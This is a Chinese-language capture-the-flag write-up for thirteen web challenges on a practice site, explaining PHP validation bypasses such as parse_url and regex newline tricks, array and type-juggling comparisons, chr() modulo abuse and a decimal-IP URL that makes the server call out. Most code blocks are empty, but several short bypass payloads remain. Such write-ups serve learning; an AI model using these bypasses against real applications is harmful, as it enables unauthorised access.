好久之前写的,写的时候自己不会,搜了一下wp,发现 一叶飘零师傅 写了wp又下了,问了一下,原来是怕学弟看他wp,过去了好久,今天翻草稿的时候看到了,看见 一叶飘零师傅 已经发了wp,于是才发orz
再膜一下窝一叶飘零师傅,什么时候窝才能像飘零师傅一样优秀orz
Warm up (web1)
|
|
所以:
|
|
Bad compare (web2)
|
|
问题出在роВхУъесЧМ
这一堆鬼东西上
是编码的问题
解决办法:
- 窝的笨蛋办法:burp改包,照着过来的返回包的hex改hex,得到flag
- pcat师傅的聪明办法:Python urllib.quote()
burp改hex
urlencode
照着pcat师傅的脚本自己撸了一个:
|
|
运行结果:
|
|
Winter sleep (web3)
|
|
is_numeric()
: 检测变量是否为数字或数字字符串,支持科学计数法。(int)
: 强制转换为int,会截取到第一个非数字。(若第一位就是非数字,返回0)
so, 科学计数法 6e6
, get flag:flag{2d4e9b6608efb8088abb2345ef2f7b90}
Hard login (web4)
|
|
代码着实不会绕,然后直接看后面跳到了./
于是开burp,浏览器访问,发现没有抓到包,于是curl一下,get flag:
|
|
URL filtering (web5)
|
|
代码不长,不过出现了3个窝没见过的东西,详细记一下:
$_SERVER['REQUEST_URI']
: 获取当前请求的完整url(除域名)parse_url
: 解析URL,返回其组成部分。官方手册给的例子:1234567<?php$url = 'http://username:password@hostname/path?arg=value#anchor';print_r(parse_url($url));echo parse_url($url, PHP_URL_PATH);?>output:
1234567891011Array([scheme] => http[host] => hostname[user] => username[pass] => password[path] => /path[query] => arg=value[fragment] => anchor)/path指定
PHP_URL_QUERY
表示只解析查询部分。12$url = 'http://username:password@hostname/path?arg1=value1&arg2=value2#anchor';echo nl2br(parse_url($url, PHP_URL_QUERY)."\n");output:
1arg1=value1&arg2=value2explode
: 把字符串分割为数组。官方手册的示例:12345<?php$pizza = "piece1 piece2 piece3 piece4 piece5 piece6";$pieces = explode(" ", $pizza);echo $pieces[0]; // piece1echo $pieces[1]; // piece2
分析一下题目代码:
- line 5: 请求的URL进行url解码
- line 6: 把 解码后的url的查询部分 提取出来。
- line 8: 把url的查询部分以&分割出来
key=value
的形式。 - line 11~18: 根据
=
把key=value
分割成key对应value。
line 20~27: 关键代码。
- line 20 的if判断,
key
中不能出现do_you_want_flag
,value
中不能出现yes
。 - line 25 的if判断,要GET过去一个名为
do_you_want_flag
值为yes
的参数。
两个明显矛盾,所以肯定是line 5~18中有某个函数有漏洞,导致可以绕过20行处的if判断。
翻了一下 一叶飘零 师傅的wp , 得知是parse_url()
中存在解析漏洞,飘零师傅讲parse_url()的文章。
在php5.4.7之前,可以用///
的形式bypass掉parse_url()
,使其返回FALSE
,最终payload为:
|
|
Hash collision (web6)
|
|
值不同,哈希一致,===
判断,数组绕过~
所以payload: ?foo[]=1&bar[]=2
Array2String (web7)
|
|
简单梳理一下代码逻辑:
- 遍历GET请求中的每一个
value
。 - 如果GET请求中有username,就把原来的username变量释放掉。
- 如果value中哪一位的值能根据ASCII转换成字符,就会释放掉value变量;否则将value变为字符后连接到username中。
- 如果username的值
==
15th_HackingCamp,并且md5($password) == md5(file_get_contents('./secret.passwd'))
,这里我注意到用的是==
而不是===
。
参考 一叶飘零 师傅的wp ,得知chr()
会将大于256的数自动取模,所以可用用value[]=305
这种形式bypass
给出脚本,py2:
|
|
注意是value[]=xx
不是value=xx
哦
如果是value=1&value=2
,最后,value的值会是2哦。
飘零师傅的wp中还给出了通过科学计数法,value[]=83.3e1
这种形式bypass的办法:83.3e10,转换为正常的数字就是833,833%256=65。和上面的方法本质上还是一样的。
Give me a link (web8)
|
|
要想执行到第21~25行,需要过三个判断,分别看看三个正则什么意思:
preg_match('/_|\s|\0/', $url)
: 不能包含下划线、空白字符、数字?!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)
: url必须以https://开头,然后是请求包中的Host项。$parse['path'] !== '/plz_give_me'
: url中hostname的路径必须为/plz_give_me
。
http://skysec.top/2018/03/15/solveme-peng-kr-web/#Give-me-a-link
所以payload:
|
|
查看服务器日志,看到flag:
|
|
Give me a link 2 (web9)
|
|
ip2long
http://givemealink2.solveme.peng.kr/?url=http://1758433968:23333/plz%01give%01me
|
|
|
|
Replace filter (web10)
|
|
感谢 一叶飘零 师傅的wp
得知,/^(.*)flag(.*)$/
的写法有缺陷,.
用于匹配任意字符并不包括换行符,^
$
则规定为同一行,否则匹配不到,故此换行即可bypass。
payload:
|
|
Hell JS (web11)
查看源代码 -> jsfuck(感谢 @郁离歌小哥哥)
decode之后为:https://www.npmjs.com/package/jssuck
|
|
Anti SQLi (web12)
|
|
看了 一叶飘零 师傅的wp ,飘零师傅分析得很详细,所以窝就不分析了,直接看大佬的分析吧qwq
Name check (web13)
|
|